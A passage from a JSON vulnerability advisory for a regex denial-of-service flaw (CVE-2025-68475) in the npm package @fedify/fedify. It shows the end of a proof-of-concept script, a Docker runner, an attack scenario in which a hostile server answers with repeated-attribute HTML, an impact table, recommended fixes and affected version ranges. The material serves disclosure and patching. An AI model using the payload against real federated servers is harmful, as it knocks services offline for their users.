approximately quadruples every 2 additional repetitions:');\n  console.log('');\n  console.log('  18 reps β†’   ~14ms');\n  console.log('  20 reps β†’   ~51ms (4x)');  \n  console.log('  22 reps β†’  ~224ms (4x)');\n  console.log('  24 reps β†’  ~852ms (4x)');\n  console.log('  26 reps β†’  ~3.3s  (4x)');\n  console.log('  28 reps β†’ ~14.0s  (4x)');\n  console.log('  30 reps β†’ ~56.0s  (estimated)');\n  console.log('');\n  \n  printSeparator();\n  console.log('[*] Attack Scenario');\n  printSeparator();\n  \n  console.log('');\n  console.log('1. Attacker sets up malicious federated server');\n  console.log('2. Victim\\'s Fedify app calls lookupObject(\"https://attacker.com/@user\")');\n  console.log('3. Attacker responds with Content-Type: text/html');\n  console.log('4. Malicious HTML payload: <a a=\"b\" a=\"b\" a=\"b\"... (N times) ');\n  console.log('5. Fedify\\'s regex enters catastrophic backtracking');\n  console.log('6. Event loop blocked β†’ Service unavailable (DoS)');\n  console.log('');\n  \n  printSeparator();\n  \n  if (vulnerabilityConfirmed) {\n    console.log('');\n    console.log('╔══════════════════════════════════════════════════════════╗');\n    console.log('β•‘  βœ“ VULNERABILITY CONFIRMED                               β•‘');\n    console.log('β•‘                                                          β•‘');\n    console.log('β•‘  The HTML parsing regex in docloader.ts is vulnerable    β•‘');\n    console.log('β•‘  to ReDoS attacks. A ~150 byte payload can block the     β•‘');\n    console.log('β•‘  Node.js event loop for 7+ seconds.                      β•‘');\n    console.log('β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•');\n    console.log('');\n    process.exit(0);\n  } else {\n    console.log('');\n    console.log('[!] Vulnerability could not be confirmed in this environment.');\n    console.log('    This may be due to regex engine optimizations.');\n    console.log('');\n    process.exit(1);\n  }\n}\n\nmain().catch(console.error);\n```\n\n</details>\n\n<details>\n<summary><strong>run_poc.sh</strong></summary>\n\n```bash\n#!/bin/bash\n# Fedify ReDoS Vulnerability PoC Runner\n\nset -e\n\nIMAGE_NAME=\"fedify-redos-poc\"\n\necho \"Building Docker image...\"\ndocker build -t ${IMAGE_NAME} .\n\necho \"Running the PoC...\"\ndocker run --rm ${IMAGE_NAME}\n\necho \"Cleaning up...\"\ndocker rmi ${IMAGE_NAME} 2>/dev/null || true\n```\n\n</details>\n\n### Running the Docker PoC\n\n```bash\n# Save the above files, then:\nchmod +x run_poc.sh\n./run_poc.sh\n```\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All Fedify applications** that use `lookupObject()`, `getDocumentLoader()`, or the built-in document loader to fetch content from external URLs\n- **Any federated server** that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources\n- **Servers following standard federation patterns** - fetching remote actors is a normal operation\n\n### Severity Assessment\n\n| Factor | Assessment |\n|--------|------------|\n| **Attack Vector** | Network (remote) |\n| **Attack Complexity** | Low (trivial payload) |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Impact** | Availability (DoS) |\n| **Scope** | Service-wide |\n\n### Real-World Scenario\n\n1. A Mastodon-compatible server powered by Fedify receives a follow request or mention from `@attacker@evil.com`\n2. The server attempts to fetch the attacker's profile via `lookupObject()`\n3. The attacker's server responds with malicious HTML\n4. The victim server's event loop is blocked for 14+ seconds\n5. During this time, all other requests are queued and potentially time out\n6. Repeated attacks can cause sustained service unavailability\n\n---\n\n## Recommended Fix\n\n### Option 1: Use a Proper HTML Parser (Recommended)\n\nReplace regex-based HTML parsing with a DOM parser that doesn't suffer from backtracking issues:\n\n```typescript\n// Using linkedom (lightweight DOM implementation)\nimport { parseHTML } from 'linkedom';\n\n// Replace lines 258-287 with:\nconst { document } = parseHTML(html);\nconst links = document.querySelectorAll('a[rel=\"alternate\"], link[rel=\"alternate\"]');\n\nfor (const link of links) {\n  const type = link.getAttribute('type');\n  const href = link.getAttribute('href');\n  \n  if (\n    href &&\n    (type === 'application/activity+json' ||\n     type === 'application/ld+json' ||\n     type?.startsWith('application/ld+json;'))\n  ) {\n    const altUri = new URL(href, docUrl);\n    if (altUri.href !== docUrl.href) {\n      return await fetch(altUri.href);\n    }\n  }\n}\n```\n\n### Option 2: Add Response Size Limits\n\nIf regex must be used, at minimum add size limits:\n\n```typescript\nconst MAX_HTML_SIZE = 1024 * 1024; // 1MB\nconst contentLength = parseInt(response.headers.get('content-length') || '0');\n\nif (contentLength > MAX_HTML_SIZE) {\n  throw new FetchError(url, 'Response too large');\n}\n\nconst html = await response.text();\nif (html.length > MAX_HTML_SIZE) {\n  throw new FetchError(url, 'Response too large');\n}\n```\n\n### Option 3: Refactor the Regex\n\nIf the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:\n\n```typescript\n// Use a non-backtracking approach with explicit attribute matching\nconst tagPattern = /<(a|link)\\s+([^>]+)>/ig;\nconst attrPattern = /([a-z][a-z:_-]*)=(?:\"([^\"]*)\"|'([^']*)'|(\\S+))/ig;\n```\n\n---\n\n## Resources\n\n- [OWASP: Regular Expression Denial of Service (ReDoS)](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [Cloudflare Outage Analysis (ReDoS Example)](https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/)\n\n---\n\nThank you for taking the time to review this report. I'm happy to provide any additional information or help test a fix. Please let me know if you have any questions!",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/fedify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.13"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/fedify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.7.0"
      }, {
        "fixed" : "1.7.14"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/fedify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.8.0"
      }, {
        "fixed" : "1.8.15"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/fedify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.9.0"
      }, {
        "fixed" : "1.9.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/security/advisories/GHSA-rchf-xwx2-hm93"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68475"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/commit/2bdcb24d7d6d5886e0214ed504b63a6dc5488779"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/commit/bf2f0783634efed2663d1b187dc55461ee1f987a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fedify-dev/fedify"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/releases/tag/1.6.13"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/releases/tag/1.7.14"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/releases/tag/1.8.15"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/releases/tag/1.9.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-22T21:36:55Z",
    "nvd_published_at" : "2025-12-22T22:16:09Z"
  }
}